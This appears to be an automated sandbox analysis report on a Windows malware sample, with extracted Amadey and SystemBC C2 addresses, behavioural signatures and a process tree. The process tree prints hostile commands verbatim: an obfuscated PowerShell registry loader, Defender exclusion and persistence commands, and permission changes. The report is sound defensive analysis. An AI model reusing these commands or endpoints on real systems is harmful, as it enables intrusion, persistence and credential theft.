Analysis
-
max time kernel
234s -
max time network
291s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
13-12-2022 22:40
Static task
static1
Behavioral task
behavioral1
Sample
7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe
Resource
win10-20220812-en
General
-
Target
7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe
-
Size
5.5MB
-
MD5
dcded7ac014d98160a90789c615ae3cf
-
SHA1
e1f14ffa121e6618aaa5760c91d129503f7656da
-
SHA256
7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995
-
SHA512
fec39d6dfd97ecc69ea85b18e8dfaadf84a2289a8b5eb6416918d0f7625897491a7a4302de0f1f16abbba2b906d0523affbfaa3198c583c21c53e883bba82f2c
-
SSDEEP
98304:IrxJwipiyZZ9RmdEeGCbGAstmlUse5mvKLgO/zhyPSp8616v+E7LF9yzTuU:INZpimLRvCbVlLnSg6piW+T4
Malware Config
Extracted
amadey
3.60
85.209.135.11/gjend7w/index.php
Extracted
systembc
89.22.236.225:4193
176.124.205.5:4193
Signatures
-
Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 8 IoCs
Processes:
Emit64.exepowershell.EXEdescription pid process target process PID 268 created 1192 268 Emit64.exe Explorer.EXE PID 268 created 1192 268 Emit64.exe Explorer.EXE PID 268 created 1192 268 Emit64.exe Explorer.EXE PID 268 created 1192 268 Emit64.exe Explorer.EXE PID 268 created 1192 268 Emit64.exe Explorer.EXE PID 268 created 1192 268 Emit64.exe Explorer.EXE PID 268 created 1192 268 Emit64.exe Explorer.EXE PID 872 created 420 872 powershell.EXE winlogon.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
Processes:
rundll32.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ rundll32.exe -
Blocklisted process makes network request 2 IoCs
Processes:
rundll32.exerundll32.exeflow pid process 6 1204 rundll32.exe 7 1212 rundll32.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
Processes:
Emit64.exedescription ioc process File created C:\Windows\System32\drivers\etc\hosts Emit64.exe -
Executes dropped EXE 11 IoCs
Processes:
gntuud.exegntuud.exeumciavi32.exegntuud.exeEmit64.exeavicapn32.exegntuud.exegntuud.exegntuud.exegntuud.exenvdrivesllapi64.exepid process 436 gntuud.exe 472 gntuud.exe 1564 umciavi32.exe 368 gntuud.exe 268 Emit64.exe 1160 avicapn32.exe 1384 gntuud.exe 1216 gntuud.exe 1716 gntuud.exe 984 gntuud.exe 1496 nvdrivesllapi64.exe -
Stops running service(s) 3 TTPs
-
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
rundll32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion rundll32.exe -
Loads dropped DLL 21 IoCs
Processes:
7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exegntuud.exerundll32.exerundll32.exegntuud.exegntuud.exerundll32.exegntuud.exetaskeng.exepid process 960 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe 436 gntuud.exe 548 rundll32.exe 548 rundll32.exe 548 rundll32.exe 548 rundll32.exe 1204 rundll32.exe 1204 rundll32.exe 1204 rundll32.exe 1204 rundll32.exe 472 gntuud.exe 472 gntuud.exe 472 gntuud.exe 472 gntuud.exe 368 gntuud.exe 1212 rundll32.exe 1212 rundll32.exe 1212 rundll32.exe 1212 rundll32.exe 1216 gntuud.exe 964 taskeng.exe -
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
-
Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
Processes:
rundll32.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook rundll32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
gntuud.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Windows\CurrentVersion\Run\syncfiles.dll = "rundll32 C:\\Users\\Admin\\1000003062\\syncfiles.dll, rundll" gntuud.exe Set value (str) \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Windows\CurrentVersion\Run\umciavi32.exe = "C:\\Users\\Admin\\AppData\\Roaming\\1000006050\\umciavi32.exe" gntuud.exe -
Processes:
rundll32.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA rundll32.exe -
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
Processes:
rundll32.exedescription ioc process File opened for modification \??\PhysicalDrive0 rundll32.exe -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.EXEpowershell.EXEdescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE -
Suspicious use of NtSetInformationThreadHideFromDebugger 19 IoCs
Processes:
7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exegntuud.exerundll32.exegntuud.exeEmit64.exeavicapn32.exerundll32.exegntuud.exegntuud.exenvdrivesllapi64.exepid process 1724 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe 1724 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe 436 gntuud.exe 436 gntuud.exe 1204 rundll32.exe 368 gntuud.exe 368 gntuud.exe 268 Emit64.exe 268 Emit64.exe 1160 avicapn32.exe 1160 avicapn32.exe 1212 rundll32.exe 1212 rundll32.exe 1216 gntuud.exe 1216 gntuud.exe 984 gntuud.exe 984 gntuud.exe 1496 nvdrivesllapi64.exe 1496 nvdrivesllapi64.exe -
Suspicious use of SetThreadContext 6 IoCs
Processes:
7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exegntuud.exegntuud.exegntuud.exeEmit64.exepowershell.EXEdescription pid process target process PID 1724 set thread context of 960 1724 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe PID 436 set thread context of 472 436 gntuud.exe gntuud.exe PID 368 set thread context of 1384 368 gntuud.exe gntuud.exe PID 1216 set thread context of 1716 1216 gntuud.exe gntuud.exe PID 268 set thread context of 1020 268 Emit64.exe dialer.exe PID 872 set thread context of 1388 872 powershell.EXE dllhost.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exepid process 844 sc.exe 840 sc.exe 1036 sc.exe 1504 sc.exe 1632 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 2 IoCs
Processes:
powershell.EXEdescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 3077d7bd4c0fd901 powershell.EXE -
Suspicious behavior: EnumeratesProcesses 41 IoCs
Processes:
7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exegntuud.exeumciavi32.exeEmit64.exeavicapn32.exegntuud.exerundll32.exegntuud.exepowershell.exepowershell.exepowershell.exepowershell.EXEnvdrivesllapi64.exegntuud.exedllhost.exepid process 1724 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe 436 gntuud.exe 1564 umciavi32.exe 268 Emit64.exe 1160 avicapn32.exe 368 gntuud.exe 1212 rundll32.exe 1212 rundll32.exe 1212 rundll32.exe 1212 rundll32.exe 1212 rundll32.exe 1212 rundll32.exe 1216 gntuud.exe 1564 umciavi32.exe 1564 umciavi32.exe 1564 umciavi32.exe 268 Emit64.exe 268 Emit64.exe 268 Emit64.exe 268 Emit64.exe 268 Emit64.exe 268 Emit64.exe 268 Emit64.exe 268 Emit64.exe 1524 powershell.exe 1752 powershell.exe 268 Emit64.exe 268 Emit64.exe 268 Emit64.exe 268 Emit64.exe 268 Emit64.exe 268 Emit64.exe 904 powershell.exe 872 powershell.EXE 1496 nvdrivesllapi64.exe 984 gntuud.exe 872 powershell.EXE 1388 dllhost.exe 1388 dllhost.exe 1388 dllhost.exe 1388 dllhost.exe -
Suspicious behavior: MapViewOfSection 4 IoCs
Processes:
7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exegntuud.exegntuud.exegntuud.exepid process 1724 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe 436 gntuud.exe 368 gntuud.exe 1216 gntuud.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
Processes:
powercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowershell.exepowershell.exepowershell.EXEdllhost.exesvchost.exedescription pid process Token: SeShutdownPrivilege 832 powercfg.exe Token: SeShutdownPrivilege 812 powercfg.exe Token: SeShutdownPrivilege 1996 powercfg.exe Token: SeShutdownPrivilege 1300 powercfg.exe Token: SeDebugPrivilege 1524 powershell.exe Token: SeDebugPrivilege 1752 powershell.exe Token: SeDebugPrivilege 904 powershell.exe Token: SeDebugPrivilege 872 powershell.EXE Token: SeDebugPrivilege 872 powershell.EXE Token: SeDebugPrivilege 1388 dllhost.exe Token: SeAuditPrivilege 884 svchost.exe -
Suspicious use of SetWindowsHookEx 4 IoCs
Processes:
7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exegntuud.exegntuud.exegntuud.exepid process 1724 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe 436 gntuud.exe 368 gntuud.exe 1216 gntuud.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exegntuud.exegntuud.execmd.exerundll32.exedescription pid process target process PID 1724 wrote to memory of 960 1724 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe PID 1724 wrote to memory of 960 1724 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe PID 1724 wrote to memory of 960 1724 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe PID 1724 wrote to memory of 960 1724 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe PID 1724 wrote to memory of 960 1724 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe PID 1724 wrote to memory of 960 1724 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe PID 1724 wrote to memory of 960 1724 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe PID 1724 wrote to memory of 960 1724 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe PID 960 wrote to memory of 436 960 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe gntuud.exe PID 960 wrote to memory of 436 960 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe gntuud.exe PID 960 wrote to memory of 436 960 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe gntuud.exe PID 960 wrote to memory of 436 960 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe gntuud.exe PID 960 wrote to memory of 436 960 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe gntuud.exe PID 960 wrote to memory of 436 960 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe gntuud.exe PID 960 wrote to memory of 436 960 7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe gntuud.exe PID 436 wrote to memory of 472 436 gntuud.exe gntuud.exe PID 436 wrote to memory of 472 436 gntuud.exe gntuud.exe PID 436 wrote to memory of 472 436 gntuud.exe gntuud.exe PID 436 wrote to memory of 472 436 gntuud.exe gntuud.exe PID 436 wrote to memory of 472 436 gntuud.exe gntuud.exe PID 436 wrote to memory of 472 436 gntuud.exe gntuud.exe PID 436 wrote to memory of 472 436 gntuud.exe gntuud.exe PID 436 wrote to memory of 472 436 gntuud.exe gntuud.exe PID 472 wrote to memory of 1960 472 gntuud.exe schtasks.exe PID 472 wrote to memory of 1960 472 gntuud.exe schtasks.exe PID 472 wrote to memory of 1960 472 gntuud.exe schtasks.exe PID 472 wrote to memory of 1960 472 gntuud.exe schtasks.exe PID 472 wrote to memory of 840 472 gntuud.exe cmd.exe PID 472 wrote to memory of 840 472 gntuud.exe cmd.exe PID 472 wrote to memory of 840 472 gntuud.exe cmd.exe PID 472 wrote to memory of 840 472 gntuud.exe cmd.exe PID 840 wrote to memory of 1280 840 cmd.exe cmd.exe PID 840 wrote to memory of 1280 840 cmd.exe cmd.exe PID 840 wrote to memory of 1280 840 cmd.exe cmd.exe PID 840 wrote to memory of 1280 840 cmd.exe cmd.exe PID 840 wrote to memory of 2008 840 cmd.exe cacls.exe PID 840 wrote to memory of 2008 840 cmd.exe cacls.exe PID 840 wrote to memory of 2008 840 cmd.exe cacls.exe PID 840 wrote to memory of 2008 840 cmd.exe cacls.exe PID 840 wrote to memory of 1540 840 cmd.exe cacls.exe PID 840 wrote to memory of 1540 840 cmd.exe cacls.exe PID 840 wrote to memory of 1540 840 cmd.exe cacls.exe PID 840 wrote to memory of 1540 840 cmd.exe cacls.exe PID 840 wrote to memory of 316 840 cmd.exe cmd.exe PID 840 wrote to memory of 316 840 cmd.exe cmd.exe PID 840 wrote to memory of 316 840 cmd.exe cmd.exe PID 840 wrote to memory of 316 840 cmd.exe cmd.exe PID 840 wrote to memory of 1572 840 cmd.exe cacls.exe PID 840 wrote to memory of 1572 840 cmd.exe cacls.exe PID 840 wrote to memory of 1572 840 cmd.exe cacls.exe PID 840 wrote to memory of 1572 840 cmd.exe cacls.exe PID 840 wrote to memory of 1464 840 cmd.exe cacls.exe PID 840 wrote to memory of 1464 840 cmd.exe cacls.exe PID 840 wrote to memory of 1464 840 cmd.exe cacls.exe PID 840 wrote to memory of 1464 840 cmd.exe cacls.exe PID 472 wrote to memory of 548 472 gntuud.exe rundll32.exe PID 472 wrote to memory of 548 472 gntuud.exe rundll32.exe PID 472 wrote to memory of 548 472 gntuud.exe rundll32.exe PID 472 wrote to memory of 548 472 gntuud.exe rundll32.exe PID 472 wrote to memory of 548 472 gntuud.exe rundll32.exe PID 472 wrote to memory of 548 472 gntuud.exe rundll32.exe PID 472 wrote to memory of 548 472 gntuud.exe rundll32.exe PID 548 wrote to memory of 1204 548 rundll32.exe rundll32.exe PID 548 wrote to memory of 1204 548 rundll32.exe rundll32.exe -
outlook_win_path 1 IoCs
Processes:
rundll32.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook rundll32.exe
Processes
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵
-
C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵
-
C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskeng.exetaskeng.exe {11DF78F0-8EBB-41ED-91BB-DEED8EE51B17} S-1-5-21-1214520366-621468234-4062160515-1000:VDWSWJJD\Admin:Interactive:[1]3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exeC:\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exe"C:\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exe"5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exeC:\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exe"C:\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exe"5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exeC:\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exe4⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\Locktime\nvdrivesllapi64.exeC:\Users\Admin\Locktime\nvdrivesllapi64.exe4⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\taskeng.exetaskeng.exe {BBEED8D4-F26A-424A-8853-6617C4198847} S-1-5-18:NT AUTHORITY\System:Service:3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)4⤵
- Drops file in System32 directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+'F'+''+[Char](84)+''+[Char](87)+''+[Char](65)+'R'+'E'+'').GetValue('di'+[Char](97)+''+'l'+''+'e'+''+[Char](114)+''+'s'+''+'t'+'ag'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}3⤵
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{963920dd-c369-4e0e-afab-81d96a6012bc}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe"C:\Users\Admin\AppData\Local\Temp\7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe"C:\Users\Admin\AppData\Local\Temp\7c5189d18f6898c9ae9456d0166348caf5499ce058468d99000d87dad21b6995.exe"3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exe"C:\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exe"C:\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN gntuud.exe /TR "C:\Users\Admin\AppData\Local\Temp\acc0b83959\gntuud.exe" /F6⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "gntuud.exe" /P "Admin:N"&&CACLS "gntuud.exe" /P "Admin:R" /E&&echo Y|CACLS "..\acc0b83959" /P "Admin:N"&&CACLS "..\acc0b83959" /P "Admin:R" /E&&Exit6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"7⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "gntuud.exe" /P "Admin:N"7⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "gntuud.exe" /P "Admin:R" /E7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"7⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\acc0b83959" /P "Admin:N"7⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\acc0b83959" /P "Admin:R" /E7⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\1000003062\syncfiles.dll, rundll6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\1000003062\syncfiles.dll, rundll7⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\1000006050\umciavi32.exe"C:\Users\Admin\AppData\Roaming\1000006050\umciavi32.exe"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\1000008001\Emit64.exe"C:\Users\Admin\AppData\Local\Temp\1000008001\Emit64.exe"6⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\1000009001\avicapn32.exe"C:\Users\Admin\AppData\Local\Temp\1000009001\avicapn32.exe"6⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c33e9ad058e5d3\cred64.dll, Main6⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Accesses Microsoft Outlook profiles
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- outlook_win_path
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#uhnchbn#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'nvdrivesllapi64' /tr '''C:\Users\Admin\Locktime\nvdrivesllapi64.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Locktime\nvdrivesllapi64.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'nvdrivesllapi64' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "nvdrivesllapi64" /t REG_SZ /f /d 'C:\Users\Admin\Locktime\nvdrivesllapi64.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn nvdrivesllapi64 /tr 'C:\Users\Admin\Locktime\nvdrivesllapi64.exe'3⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
